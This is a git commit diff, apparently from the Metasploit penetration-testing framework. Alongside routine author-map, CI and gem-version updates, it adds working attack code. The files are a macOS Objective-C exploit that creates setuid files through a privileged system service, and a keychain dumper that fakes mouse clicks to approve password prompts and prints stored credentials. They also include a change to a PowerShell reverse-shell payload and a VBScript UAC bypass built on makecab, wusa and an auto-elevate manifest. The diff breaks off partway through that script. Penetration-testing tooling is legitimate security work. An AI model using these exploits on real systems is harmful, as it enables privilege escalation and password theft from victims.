Update with master changes
commit
c79671821d
41
.mailmap
41
.mailmap
|
@ -1,4 +1,5 @@
|
||||||
bcook-r7 <bcook-r7@github> Brent Cook <bcook@rapid7.com>
|
bcook-r7 <bcook-r7@github> Brent Cook <bcook@rapid7.com>
|
||||||
|
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
|
||||||
bturner-r7 <bturner-r7@github> Brandon Turner <brandon_turner@rapid7.com>
|
bturner-r7 <bturner-r7@github> Brandon Turner <brandon_turner@rapid7.com>
|
||||||
ccatalan-r7 <ccatalan-r7@github> Christian Catalan <ccatalan@rapid7.com>
|
ccatalan-r7 <ccatalan-r7@github> Christian Catalan <ccatalan@rapid7.com>
|
||||||
cdoughty-r7 <cdoughty-r7@github> Chris Doughty <chris_doughty@rapid7.com>
|
cdoughty-r7 <cdoughty-r7@github> Chris Doughty <chris_doughty@rapid7.com>
|
||||||
|
@ -11,9 +12,8 @@ farias-r7 <farias-r7@github> Fernando Arias <fernando_arias@rapid7.com>
|
||||||
hmoore-r7 <hmoore-r7@github> HD Moore <hd_moore@rapid7.com>
|
hmoore-r7 <hmoore-r7@github> HD Moore <hd_moore@rapid7.com>
|
||||||
hmoore-r7 <hmoore-r7@github> HD Moore <hdm@digitaloffense.net>
|
hmoore-r7 <hmoore-r7@github> HD Moore <hdm@digitaloffense.net>
|
||||||
jhart-r7 <jhart-r7@github> Jon Hart <jon_hart@rapid7.com>
|
jhart-r7 <jhart-r7@github> Jon Hart <jon_hart@rapid7.com>
|
||||||
jlee-r7 <jlee-r7@github> James Lee <James_Lee@rapid7.com>
|
jlee-r7 <jlee-r7@github> <james_lee@rapid7.com>
|
||||||
jlee-r7 <jlee-r7@github> James Lee <egypt@metasploit.com> # aka egypt
|
jlee-r7 <jlee-r7@github> <egypt@metasploit.com> # aka egypt
|
||||||
jlee-r7 <jlee-r7@github> egypt <egypt@metasploit.com> # aka egypt
|
|
||||||
jvazquez-r7 <jvazquez-r7@github> jvazquez-r7 <juan.vazquez@metasploit.com>
|
jvazquez-r7 <jvazquez-r7@github> jvazquez-r7 <juan.vazquez@metasploit.com>
|
||||||
jvazquez-r7 <jvazquez-r7@github> jvazquez-r7 <juan_vazquez@rapid7.com>
|
jvazquez-r7 <jvazquez-r7@github> jvazquez-r7 <juan_vazquez@rapid7.com>
|
||||||
kgray-r7 <kgray-r7@github> Kyle Gray <kyle_gray@rapid7.com>
|
kgray-r7 <kgray-r7@github> Kyle Gray <kyle_gray@rapid7.com>
|
||||||
|
@ -37,9 +37,8 @@ todb-r7 <todb-r7@github> Tod Beardsley <todb@metasploit.com>
|
||||||
todb-r7 <todb-r7@github> Tod Beardsley <todb@packetfu.com>
|
todb-r7 <todb-r7@github> Tod Beardsley <todb@packetfu.com>
|
||||||
trosen-r7 <trosen-r7@github> Trevor Rosen <Trevor_Rosen@rapid7.com>
|
trosen-r7 <trosen-r7@github> Trevor Rosen <Trevor_Rosen@rapid7.com>
|
||||||
trosen-r7 <trosen-r7@github> Trevor Rosen <trevor@catapult-creative.com>
|
trosen-r7 <trosen-r7@github> Trevor Rosen <trevor@catapult-creative.com>
|
||||||
wchen-r7 <wchen-r7@github> Wei Chen <Wei_Chen@rapid7.com>
|
wchen-r7 <wchen-r7@github> <msfsinn3r@gmail.com> # aka sinn3r
|
||||||
wchen-r7 <wchen-r7@github> sinn3r <msfsinn3r@gmail.com> # aka sinn3r
|
wchen-r7 <wchen-r7@github> <wei_chen@rapid7.com>
|
||||||
wchen-r7 <wchen-r7@github> sinn3r <wei_chen@rapid7.com>
|
|
||||||
wvu-r7 <wvu-r7@github> William Vu <William_Vu@rapid7.com>
|
wvu-r7 <wvu-r7@github> William Vu <William_Vu@rapid7.com>
|
||||||
wvu-r7 <wvu-r7@github> William Vu <wvu@metasploit.com>
|
wvu-r7 <wvu-r7@github> William Vu <wvu@metasploit.com>
|
||||||
wvu-r7 <wvu-r7@github> William Vu <wvu@nmt.edu>
|
wvu-r7 <wvu-r7@github> William Vu <wvu@nmt.edu>
|
||||||
|
@ -73,18 +72,18 @@ efraintorres <efraintorres@github> efraintorres <etlownoise@gmail.com>
|
||||||
efraintorres <efraintorres@github> et <>
|
efraintorres <efraintorres@github> et <>
|
||||||
fab <fab@???> fab <> # fab at revhosts.net (Fabrice MOURRON)
|
fab <fab@???> fab <> # fab at revhosts.net (Fabrice MOURRON)
|
||||||
FireFart <FireFart@github> Christian Mehlmauer <firefart@gmail.com>
|
FireFart <FireFart@github> Christian Mehlmauer <firefart@gmail.com>
|
||||||
|
FireFart <FireFart@github> <FireFart@users.noreply.github.com>
|
||||||
h0ng10 <h0ng10@github> h0ng10 <hansmartin.muench@googlemail.com>
|
h0ng10 <h0ng10@github> h0ng10 <hansmartin.muench@googlemail.com>
|
||||||
h0ng10 <h0ng10@github> Hans-Martin Münch <hansmartin.muench@googlemail.com>
|
h0ng10 <h0ng10@github> Hans-Martin Münch <hansmartin.muench@googlemail.com>
|
||||||
jcran <jcran@github> Jonathan Cran <jcran@0x0e.org>
|
jcran <jcran@github> <jcran@pwnieexpress.com>
|
||||||
jcran <jcran@github> Jonathan Cran <jcran@rapid7.com>
|
jcran <jcran@github> <jcran@pentestify.com>
|
||||||
jduck <jduck@github> Joshua Drake <github.jdrake@qoop.org>
|
jcran <jcran@github> <jcran@0x0e.org>
|
||||||
|
jcran <jcran@github> <jcran@rapid7.com>
|
||||||
|
jduck <jduck@github> <github.jdrake@qoop.org>
|
||||||
|
jduck <jduck@github> <jdrake@qoop.org>
|
||||||
jgor <jgor@github> jgor <jgor@indiecom.org>
|
jgor <jgor@github> jgor <jgor@indiecom.org>
|
||||||
joevennix <joevennix@github> joe <joev@metasploit.com>
|
joevennix <joevennix@github> <Joe_Vennix@rapid7.com>
|
||||||
joevennix <joevennix@github> Joe Vennix <Joe_Vennix@rapid7.com>
|
joevennix <joevennix@github> <joev@metasploit.com>
|
||||||
joevennix <joevennix@github> Joe Vennix <joev@metasploit.com>
|
|
||||||
joevennix <joevennix@github> joev <joev@metasploit.com>
|
|
||||||
joevennix <joevennix@github> jvennix-r7 <Joe_Vennix@rapid7.com>
|
|
||||||
joevennix <joevennix@github> jvennix-r7 <joev@metasploit.com>
|
|
||||||
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@kernelsmith.com>
|
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@kernelsmith.com>
|
||||||
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@metasploit.com>
|
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@metasploit.com>
|
||||||
kernelsmith <kernelsmith@github> kernelsmith <kernelsmith@kernelsmith>
|
kernelsmith <kernelsmith@github> kernelsmith <kernelsmith@kernelsmith>
|
||||||
|
@ -94,18 +93,17 @@ m-1-k-3 <m-1-k-3@github> m-1-k-3 <github@s3cur1ty.de>
|
||||||
m-1-k-3 <m-1-k-3@github> m-1-k-3 <m1k3@s3cur1ty.de>
|
m-1-k-3 <m-1-k-3@github> m-1-k-3 <m1k3@s3cur1ty.de>
|
||||||
m-1-k-3 <m-1-k-3@github> m-1-k-3 <michael.messner@integralis.com>
|
m-1-k-3 <m-1-k-3@github> m-1-k-3 <michael.messner@integralis.com>
|
||||||
m-1-k-3 <m-1-k-3@github> Michael Messner <devnull@s3cur1ty.de>
|
m-1-k-3 <m-1-k-3@github> Michael Messner <devnull@s3cur1ty.de>
|
||||||
Meatballs1 <Meatballs1@github> Ben Campbell <eat_meatballs@hotmail.co.uk>
|
Meatballs1 <Meatballs1@github> <eat_meatballs@hotmail.co.uk>
|
||||||
Meatballs1 <Meatballs1@github> Meatballs <eat_meatballs@hotmail.co.uk>
|
Meatballs1 <Meatballs1@github> <Meatballs1@users.noreply.github.com>
|
||||||
Meatballs1 <Meatballs1@github> Meatballs1 <eat_meatballs@hotmail.co.uk>
|
|
||||||
mubix <mubix@github> Rob Fuller <jd.mubix@gmail.com>
|
mubix <mubix@github> Rob Fuller <jd.mubix@gmail.com>
|
||||||
nevdull77 <nevdull77@github> Patrik Karlsson <patrik@cqure.net>
|
nevdull77 <nevdull77@github> Patrik Karlsson <patrik@cqure.net>
|
||||||
nmonkee <nmonkee@github> nmonkee <dave@northern-monkee.co.uk>
|
nmonkee <nmonkee@github> nmonkee <dave@northern-monkee.co.uk>
|
||||||
nullbind <nullbind@github> nullbind <scott.sutherland@nullbind.com>
|
nullbind <nullbind@github> nullbind <scott.sutherland@nullbind.com>
|
||||||
nullbind <nullbind@github> Scott Sutherland <scott.sutherland@nullbind.com>
|
nullbind <nullbind@github> Scott Sutherland <scott.sutherland@nullbind.com>
|
||||||
ohdae <ohdae@github> ohdae <bindshell@live.com>
|
ohdae <ohdae@github> ohdae <bindshell@live.com>
|
||||||
oj <oj@github> OJ <oj@buffered.io>
|
oj <oj@github> <oj@buffered.io>
|
||||||
oj <oj@github> OJ Reeves <oj@buffered.io>
|
|
||||||
r3dy <r3dy@github> Royce Davis <r3dy@Royces-MacBook-Pro.local>
|
r3dy <r3dy@github> Royce Davis <r3dy@Royces-MacBook-Pro.local>
|
||||||
|
r3dy <r3dy@github> Royce Davis <rdavis@Royces-MacBook-Pro-2.local>
|
||||||
r3dy <r3dy@github> Royce Davis <royce.e.davis@gmail.com>
|
r3dy <r3dy@github> Royce Davis <royce.e.davis@gmail.com>
|
||||||
Rick Flores <0xnanoquetz9l@gmail.com> Rick Flores (nanotechz9l) <0xnanoquetz9l@gmail.com>
|
Rick Flores <0xnanoquetz9l@gmail.com> Rick Flores (nanotechz9l) <0xnanoquetz9l@gmail.com>
|
||||||
rsmudge <rsmudge@github> Raphael Mudge <rsmudge@gmail.com> # Aka `butane
|
rsmudge <rsmudge@github> Raphael Mudge <rsmudge@gmail.com> # Aka `butane
|
||||||
|
@ -116,8 +114,7 @@ skape <skape@???> Matt Miller <mmiller@hick.org>
|
||||||
spoonm <spoonm@github> Spoon M <spoonm@gmail.com>
|
spoonm <spoonm@github> Spoon M <spoonm@gmail.com>
|
||||||
swtornio <swtornio@github> Steve Tornio <swtornio@gmail.com>
|
swtornio <swtornio@github> Steve Tornio <swtornio@gmail.com>
|
||||||
Tasos Laskos <Tasos_Laskos@rapid7.com> Tasos Laskos <Tasos_Laskos@rapid7.com>
|
Tasos Laskos <Tasos_Laskos@rapid7.com> Tasos Laskos <Tasos_Laskos@rapid7.com>
|
||||||
timwr <timwr@github> Tim <timrlw@gmail.com>
|
timwr <timwr@github> <timrlw@gmail.com>
|
||||||
timwr <timwr@github> Tim Wright <timrlw@gmail.com>
|
|
||||||
TomSellers <TomSellers@github> Tom Sellers <tom@fadedcode.net>
|
TomSellers <TomSellers@github> Tom Sellers <tom@fadedcode.net>
|
||||||
TrustedSec <davek@trustedsec.com> trustedsec <davek@trustedsec.com>
|
TrustedSec <davek@trustedsec.com> trustedsec <davek@trustedsec.com>
|
||||||
zeroSteiner <zeroSteiner@github> Spencer McIntyre <zeroSteiner@gmail.com>
|
zeroSteiner <zeroSteiner@github> Spencer McIntyre <zeroSteiner@gmail.com>
|
||||||
|
|
|
@ -41,3 +41,6 @@ branches:
|
||||||
|
|
||||||
addons:
|
addons:
|
||||||
postgresql: '9.3'
|
postgresql: '9.3'
|
||||||
|
apt:
|
||||||
|
packages:
|
||||||
|
- libpcap-dev
|
||||||
|
|
46
Gemfile.lock
46
Gemfile.lock
|
@ -1,33 +1,34 @@
|
||||||
PATH
|
PATH
|
||||||
remote: .
|
remote: .
|
||||||
specs:
|
specs:
|
||||||
metasploit-framework (4.11.0.pre.dev)
|
metasploit-framework (4.11.4)
|
||||||
actionpack (>= 4.0.9, < 4.1.0)
|
actionpack (>= 4.0.9, < 4.1.0)
|
||||||
activesupport (>= 4.0.9, < 4.1.0)
|
activesupport (>= 4.0.9, < 4.1.0)
|
||||||
bcrypt
|
bcrypt
|
||||||
jsobfu (~> 0.2.0)
|
jsobfu (~> 0.2.0)
|
||||||
json
|
json
|
||||||
metasploit-concern (~> 1.0)
|
metasm (~> 1.0.2)
|
||||||
metasploit-model (~> 1.0)
|
metasploit-concern (= 1.0.0)
|
||||||
metasploit-payloads (= 1.0.4)
|
metasploit-model (= 1.0.0)
|
||||||
|
metasploit-payloads (= 1.0.13)
|
||||||
msgpack
|
msgpack
|
||||||
nokogiri
|
nokogiri
|
||||||
packetfu (= 1.1.9)
|
packetfu (= 1.1.11)
|
||||||
railties
|
railties
|
||||||
rb-readline-r7
|
rb-readline-r7
|
||||||
recog (~> 2.0)
|
recog (= 2.0.6)
|
||||||
robots
|
robots
|
||||||
rubyzip (~> 1.1)
|
rubyzip (~> 1.1)
|
||||||
sqlite3
|
sqlite3
|
||||||
tzinfo
|
tzinfo
|
||||||
metasploit-framework-db (4.11.0.pre.dev)
|
metasploit-framework-db (4.11.4)
|
||||||
activerecord (>= 4.0.9, < 4.1.0)
|
activerecord (>= 4.0.9, < 4.1.0)
|
||||||
metasploit-credential (~> 1.0)
|
metasploit-credential (= 1.0.1)
|
||||||
metasploit-framework (= 4.11.0.pre.dev)
|
metasploit-framework (= 4.11.4)
|
||||||
metasploit_data_models (~> 1.2)
|
metasploit_data_models (= 1.2.5)
|
||||||
pg (>= 0.11)
|
pg (>= 0.11)
|
||||||
metasploit-framework-pcap (4.11.0.pre.dev)
|
metasploit-framework-pcap (4.11.4)
|
||||||
metasploit-framework (= 4.11.0.pre.dev)
|
metasploit-framework (= 4.11.4)
|
||||||
network_interface (~> 0.0.1)
|
network_interface (~> 0.0.1)
|
||||||
pcaprub
|
pcaprub
|
||||||
|
|
||||||
|
@ -104,14 +105,15 @@ GEM
|
||||||
i18n (0.7.0)
|
i18n (0.7.0)
|
||||||
jsobfu (0.2.1)
|
jsobfu (0.2.1)
|
||||||
rkelly-remix (= 0.0.6)
|
rkelly-remix (= 0.0.6)
|
||||||
json (1.8.2)
|
json (1.8.3)
|
||||||
mail (2.6.3)
|
mail (2.6.3)
|
||||||
mime-types (>= 1.16, < 3)
|
mime-types (>= 1.16, < 3)
|
||||||
|
metasm (1.0.2)
|
||||||
metasploit-concern (1.0.0)
|
metasploit-concern (1.0.0)
|
||||||
activerecord (>= 4.0.9, < 4.1.0)
|
activerecord (>= 4.0.9, < 4.1.0)
|
||||||
activesupport (>= 4.0.9, < 4.1.0)
|
activesupport (>= 4.0.9, < 4.1.0)
|
||||||
railties (>= 4.0.9, < 4.1.0)
|
railties (>= 4.0.9, < 4.1.0)
|
||||||
metasploit-credential (1.0.0)
|
metasploit-credential (1.0.1)
|
||||||
metasploit-concern (~> 1.0)
|
metasploit-concern (~> 1.0)
|
||||||
metasploit-model (~> 1.0)
|
metasploit-model (~> 1.0)
|
||||||
metasploit_data_models (~> 1.0)
|
metasploit_data_models (~> 1.0)
|
||||||
|
@ -123,7 +125,7 @@ GEM
|
||||||
activemodel (>= 4.0.9, < 4.1.0)
|
activemodel (>= 4.0.9, < 4.1.0)
|
||||||
activesupport (>= 4.0.9, < 4.1.0)
|
activesupport (>= 4.0.9, < 4.1.0)
|
||||||
railties (>= 4.0.9, < 4.1.0)
|
railties (>= 4.0.9, < 4.1.0)
|
||||||
metasploit-payloads (1.0.4)
|
metasploit-payloads (1.0.13)
|
||||||
metasploit_data_models (1.2.5)
|
metasploit_data_models (1.2.5)
|
||||||
activerecord (>= 4.0.9, < 4.1.0)
|
activerecord (>= 4.0.9, < 4.1.0)
|
||||||
activesupport (>= 4.0.9, < 4.1.0)
|
activesupport (>= 4.0.9, < 4.1.0)
|
||||||
|
@ -135,18 +137,20 @@ GEM
|
||||||
railties (>= 4.0.9, < 4.1.0)
|
railties (>= 4.0.9, < 4.1.0)
|
||||||
recog (~> 2.0)
|
recog (~> 2.0)
|
||||||
method_source (0.8.2)
|
method_source (0.8.2)
|
||||||
mime-types (2.4.3)
|
mime-types (2.6.1)
|
||||||
mini_portile (0.6.2)
|
mini_portile (0.6.2)
|
||||||
minitest (4.7.5)
|
minitest (4.7.5)
|
||||||
msgpack (0.6.0)
|
msgpack (0.6.2)
|
||||||
multi_json (1.11.1)
|
multi_json (1.11.2)
|
||||||
multi_test (0.1.2)
|
multi_test (0.1.2)
|
||||||
network_interface (0.0.1)
|
network_interface (0.0.1)
|
||||||
nokogiri (1.6.6.2)
|
nokogiri (1.6.6.2)
|
||||||
mini_portile (~> 0.6.0)
|
mini_portile (~> 0.6.0)
|
||||||
packetfu (1.1.9)
|
packetfu (1.1.11)
|
||||||
|
network_interface (~> 0.0)
|
||||||
|
pcaprub (~> 0.12)
|
||||||
pcaprub (0.12.0)
|
pcaprub (0.12.0)
|
||||||
pg (0.18.2)
|
pg (0.18.3)
|
||||||
pg_array_parser (0.0.9)
|
pg_array_parser (0.0.9)
|
||||||
postgres_ext (2.4.1)
|
postgres_ext (2.4.1)
|
||||||
activerecord (>= 4.0.0)
|
activerecord (>= 4.0.0)
|
||||||
|
@ -198,7 +202,7 @@ GEM
|
||||||
rspec-core (~> 2.99.0)
|
rspec-core (~> 2.99.0)
|
||||||
rspec-expectations (~> 2.99.0)
|
rspec-expectations (~> 2.99.0)
|
||||||
rspec-mocks (~> 2.99.0)
|
rspec-mocks (~> 2.99.0)
|
||||||
rubyntlm (0.5.0)
|
rubyntlm (0.5.2)
|
||||||
rubyzip (1.1.7)
|
rubyzip (1.1.7)
|
||||||
shoulda-matchers (2.8.0)
|
shoulda-matchers (2.8.0)
|
||||||
activesupport (>= 3.0.0)
|
activesupport (>= 3.0.0)
|
||||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,33 @@
|
||||||
|
// gcc -bundle exploit.m -arch x86_64 -o exploit.daplug -framework Cocoa
|
||||||
|
|
||||||
|
#include <dlfcn.h>
|
||||||
|
#include <objc/objc.h>
|
||||||
|
#include <objc/runtime.h>
|
||||||
|
#include <objc/message.h>
|
||||||
|
#include <Foundation/Foundation.h>
|
||||||
|
|
||||||
|
#define PRIV_FWK_BASE "/System/Library/PrivateFrameworks"
|
||||||
|
#define FWK_BASE "/System/Library/Frameworks"
|
||||||
|
|
||||||
|
void __attribute__ ((constructor)) test(void)
|
||||||
|
{
|
||||||
|
void* p = dlopen(PRIV_FWK_BASE "/SystemAdministration.framework/SystemAdministration", RTLD_NOW);
|
||||||
|
|
||||||
|
if (p != NULL)
|
||||||
|
{
|
||||||
|
id sharedClient = objc_msgSend(objc_lookUpClass("WriteConfigClient"), @selector(sharedClient));
|
||||||
|
objc_msgSend(sharedClient, @selector(authenticateUsingAuthorizationSync:), nil);
|
||||||
|
id tool = objc_msgSend(sharedClient, @selector(remoteProxy));
|
||||||
|
|
||||||
|
NSString* inpath = [[[NSProcessInfo processInfo]environment]objectForKey:@"PAYLOAD_IN"];
|
||||||
|
NSString* outpath = [[[NSProcessInfo processInfo]environment]objectForKey:@"PAYLOAD_OUT"];
|
||||||
|
NSData* data = [NSData dataWithContentsOfFile:inpath];
|
||||||
|
|
||||||
|
objc_msgSend(tool, @selector(createFileWithContents:path:attributes:),
|
||||||
|
data,
|
||||||
|
outpath,
|
||||||
|
@{ NSFilePosixPermissions : @04777 });
|
||||||
|
}
|
||||||
|
|
||||||
|
exit(1);
|
||||||
|
}
|
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,2 @@
|
||||||
|
all:
|
||||||
|
gcc dump.m -framework CoreFoundation -framework Security -framework Cocoa -o dump
|
Binary file not shown.
|
@ -0,0 +1,161 @@
|
||||||
|
// gcc dump.m -framework CoreFoundation -framework Security -framework Cocoa -o dump
|
||||||
|
|
||||||
|
#import <Cocoa/Cocoa.h>
|
||||||
|
#import <CoreFoundation/CoreFoundation.h>
|
||||||
|
#import <Security/Security.h>
|
||||||
|
#include <ApplicationServices/ApplicationServices.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <pthread.h>
|
||||||
|
|
||||||
|
#define TIMEOUT 3
|
||||||
|
|
||||||
|
void click(float x, float y) {
|
||||||
|
|
||||||
|
CGEventRef move1 = CGEventCreateMouseEvent(
|
||||||
|
NULL, kCGEventMouseMoved,
|
||||||
|
CGPointMake(x, y),
|
||||||
|
kCGMouseButtonLeft // ignored
|
||||||
|
);
|
||||||
|
CGEventRef click1_down = CGEventCreateMouseEvent(
|
||||||
|
NULL, kCGEventLeftMouseDown,
|
||||||
|
CGPointMake(x, y),
|
||||||
|
kCGMouseButtonLeft
|
||||||
|
);
|
||||||
|
CGEventRef click1_up = CGEventCreateMouseEvent(
|
||||||
|
NULL, kCGEventLeftMouseUp,
|
||||||
|
CGPointMake(x, y),
|
||||||
|
kCGMouseButtonLeft
|
||||||
|
);
|
||||||
|
|
||||||
|
CGEventPost(kCGHIDEventTap, move1);
|
||||||
|
CGEventPost(kCGHIDEventTap, click1_down);
|
||||||
|
CGEventPost(kCGHIDEventTap, click1_up);
|
||||||
|
|
||||||
|
// Release the events
|
||||||
|
CFRelease(move1);
|
||||||
|
CFRelease(click1_up);
|
||||||
|
CFRelease(click1_down);
|
||||||
|
}
|
||||||
|
|
||||||
|
void parse_windows(int offx, int offy) {
|
||||||
|
CFArrayRef windowList = CGWindowListCopyWindowInfo(kCGWindowListOptionOnScreenOnly, kCGNullWindowID);
|
||||||
|
for (NSMutableDictionary* entry in (NSArray*)windowList)
|
||||||
|
{
|
||||||
|
CGRect rect;
|
||||||
|
NSString* ownerName = [entry objectForKey:(id)kCGWindowOwnerName];
|
||||||
|
if ([ownerName isEqualToString: @"SecurityAgent"]) {
|
||||||
|
CFDictionaryRef bounds = (CFDictionaryRef)[entry objectForKey:(id)kCGWindowBounds];
|
||||||
|
CGRectMakeWithDictionaryRepresentation(bounds, &rect);
|
||||||
|
float spotx = rect.origin.x + 385 + offx;
|
||||||
|
float spoty = rect.origin.y + rect.size.height - 25 + offy;
|
||||||
|
click(spotx, spoty);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
CFRelease(windowList);
|
||||||
|
}
|
||||||
|
|
||||||
|
void poll_ui() {
|
||||||
|
while(1) {
|
||||||
|
sleep(0.0001);
|
||||||
|
parse_windows(0, 0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
id tQuery = NULL;
|
||||||
|
CFTypeRef result = NULL;
|
||||||
|
|
||||||
|
void prompt() {
|
||||||
|
SecItemCopyMatching((__bridge CFDictionaryRef)tQuery, &result);
|
||||||
|
}
|
||||||
|
|
||||||
|
void dump(NSArray *refs) {
|
||||||
|
NSData *jsonData = [NSJSONSerialization dataWithJSONObject: refs
|
||||||
|
options:NSJSONWritingPrettyPrinted // Pass 0 if you don't care about the readability of the generated string
|
||||||
|
error: NULL];
|
||||||
|
[jsonData writeToFile: @"/dev/stdout" atomically: NO];
|
||||||
|
}
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
pthread_t thread_prompt, thread_click;
|
||||||
|
NSArray *secItemClasses = [NSArray arrayWithObjects:
|
||||||
|
(__bridge id)kSecClassGenericPassword,
|
||||||
|
(__bridge id)kSecClassInternetPassword,
|
||||||
|
nil];
|
||||||
|
NSMutableDictionary *query = [NSMutableDictionary dictionaryWithObjectsAndKeys:
|
||||||
|
(__bridge id)kSecMatchLimitAll, (__bridge id)kSecMatchLimit,
|
||||||
|
(__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnAttributes,
|
||||||
|
(__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnRef,
|
||||||
|
nil];
|
||||||
|
NSMutableArray *refs = [NSMutableArray new];
|
||||||
|
for (id secItemClass in secItemClasses) {
|
||||||
|
[query setObject:secItemClass forKey:(__bridge id)kSecClass];
|
||||||
|
|
||||||
|
CFTypeRef result1 = NULL;
|
||||||
|
SecItemCopyMatching((__bridge CFDictionaryRef)query, &result1);
|
||||||
|
NSArray *data = (__bridge NSArray*)result1;
|
||||||
|
if (data) {
|
||||||
|
for (NSDictionary *item in data) {
|
||||||
|
if (!item) continue;
|
||||||
|
NSMutableDictionary *newItem = [NSMutableDictionary new];
|
||||||
|
for (NSString* key in item) {
|
||||||
|
[newItem setObject:[[item objectForKey: key] description] forKey: key];
|
||||||
|
}
|
||||||
|
[newItem setObject:[item objectForKey: @"v_Ref"] forKey: @"v_Ref"];
|
||||||
|
[refs addObject: newItem];
|
||||||
|
}
|
||||||
|
if (result1 != NULL) CFRelease(result1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
NSMutableArray *all = [NSMutableArray new];
|
||||||
|
for (id ref in refs) {
|
||||||
|
tQuery = [NSMutableDictionary dictionaryWithObjectsAndKeys:
|
||||||
|
(__bridge id)[ref objectForKey: @"v_Ref"], (__bridge id)kSecValueRef,
|
||||||
|
(__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnData,
|
||||||
|
nil];
|
||||||
|
for (id secItemClass in secItemClasses) {
|
||||||
|
[tQuery setObject:secItemClass forKey:(__bridge id)kSecClass];
|
||||||
|
|
||||||
|
result = NULL;
|
||||||
|
pthread_create(&thread_click, NULL, (void*)poll_ui, NULL);
|
||||||
|
pthread_create(&thread_prompt, NULL, (void*)prompt, NULL);
|
||||||
|
|
||||||
|
time_t end = time(NULL) + TIMEOUT;
|
||||||
|
int found = 0;
|
||||||
|
while(time(NULL) < end) {
|
||||||
|
if (result != NULL) {
|
||||||
|
found = 1;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
sleep(0.1);
|
||||||
|
}
|
||||||
|
|
||||||
|
pthread_cancel(thread_click);
|
||||||
|
pthread_cancel(thread_prompt);
|
||||||
|
|
||||||
|
[ref removeObjectForKey: @"v_Ref"];
|
||||||
|
|
||||||
|
// we didnt find anything in TIMEOUT seconds. this can happen if the keychain
|
||||||
|
// is locked
|
||||||
|
if (!found) {
|
||||||
|
parse_windows(-80, 0); // click cancel
|
||||||
|
dump(all); // get out now
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
NSString *pass = @"(null)";
|
||||||
|
if (result && [result bytes]) {
|
||||||
|
pass = [NSString stringWithUTF8String:[result bytes]];
|
||||||
|
if (!pass) pass = @"(null)";
|
||||||
|
} else {
|
||||||
|
pass = @"(null)";
|
||||||
|
}
|
||||||
|
[ref setObject:pass forKey: @"Private"];
|
||||||
|
[all addObject: ref];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
dump(all);
|
||||||
|
return 0;
|
||||||
|
}
|
|
@ -36,7 +36,7 @@ function powerfun
|
||||||
$stream = $sslStream
|
$stream = $sslStream
|
||||||
}
|
}
|
||||||
|
|
||||||
[byte[]]$bytes = 0..255|%{0}
|
[byte[]]$bytes = 0..20000|%{0}
|
||||||
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
|
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
|
||||||
$stream.Write($sendbytes,0,$sendbytes.Length)
|
$stream.Write($sendbytes,0,$sendbytes.Length)
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,62 @@
|
||||||
|
Option Explicit
|
||||||
|
|
||||||
|
Dim oWs: Set oWs = CreateObject("WScript.Shell")
|
||||||
|
Dim oFso: Set oFso = CreateObject("Scripting.FileSystemObject")
|
||||||
|
Dim HOST_MANIFEST: HOST_MANIFEST = _
|
||||||
|
"<?xml version=""1.0"" encoding=""UTF-8"" standalone=""yes""?>" & vbCrLf & _
|
||||||
|
"<assembly xmlns=""urn:schemas-microsoft-com:asm.v1""" & vbCrLf & _
|
||||||
|
" xmlns:asmv3=""urn:schemas-microsoft-com:asm.v3""" & vbCrLf & _
|
||||||
|
" manifestVersion=""1.0"">" & vbCrLf & _
|
||||||
|
" <asmv3:trustInfo>" & vbCrLf & _
|
||||||
|
" <security>" & vbCrLf & _
|
||||||
|
" <requestedPrivileges>" & vbCrLf & _
|
||||||
|
" <requestedExecutionLevel level=""RequireAdministrator"" uiAccess=""false""/>" & vbCrLf & _
|
||||||
|
" </requestedPrivileges>" & vbCrLf & _
|
||||||
|
" </security>" & vbCrLf & _
|
||||||
|
" </asmv3:trustInfo>" & vbCrLf & _
|
||||||
|
" <asmv3:application>" & vbCrLf & _
|
||||||
|
" <asmv3:windowsSettings xmlns=""http://schemas.microsoft.com/SMI/2005/WindowsSettings"">" & vbCrLf & _
|
||||||
|
" <autoElevate>true</autoElevate>" & vbCrLf & _
|
||||||
|
" <dpiAware>true</dpiAware>" & vbCrLf & _
|
||||||
|
" </asmv3:windowsSettings>" & vbCrLf & _
|
||||||
|
" </asmv3:application>" & vbCrLf & _
|
||||||
|
"</assembly>"
|
||||||
|
|
||||||
|
|
||||||
|
Sub Copy(ByVal sSource, ByVal sTarget)
|
||||||
|
Dim sTempFile: sTempFile = GetTempFilename()
|
||||||
|
oWs.Run "makecab """ & sSource & """ """ & sTempFile & """", 0, True
|
||||||
|
oWs.Run "wusa """ & sTempFile & """ /extract:" & sTarget, 0, True
|
||||||
|
oFso.DeleteFile sTempFile
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
Sub Elevate()
|
||||||
|
Const WINDIR = "%windir%"
|
||||||
|
Dim sPath: sPath = Left(WScript.ScriptFullName, _
|
||||||
|
InStrRev(WScript.ScriptFullName, "\"))
|
||||||
|
Dim sHost: sHost = Right(WScript.FullName, 11)
|
||||||
|
Dim sManifest: sManifest = sPath & sHost & ".manifest"
|
||||||
|
Dim oStream: Set oStream = oFso.CreateTextFile(sManifest)
|
||||||
|
oStream.Write HOST_MANIFEST
|
||||||
|
oStream.Close
|
||||||
|
Copy sManifest, WINDIR
|
||||||
|
